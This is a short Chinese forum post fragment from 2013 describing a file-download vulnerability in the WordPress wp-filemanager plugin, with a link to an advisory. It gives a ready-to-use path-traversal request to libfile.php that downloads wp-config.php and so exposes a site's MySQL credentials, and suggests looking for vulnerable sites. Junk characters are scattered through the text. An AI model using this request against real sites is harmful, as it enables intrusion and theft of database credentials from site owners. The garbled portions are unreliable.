洞详解：http://packetstormsecurity.com/f ... -File-Download.html& J2 J, j; T% ~1 p- }# {
- _+ I& V2 k/ ^ Z4 ?+ A$ N6 z查找漏洞网站：访问/wp-content/plugins/wp-filemanager/incl/libfile.php?&path=../../&filename=wp-config.php&action=download，下载wp-config，其中回显MySQL。
+ ^* P& q: z" I4 J7 Y9 }. M8 N |
发表于 2013-7-26 12:43:45
收藏
支持
反对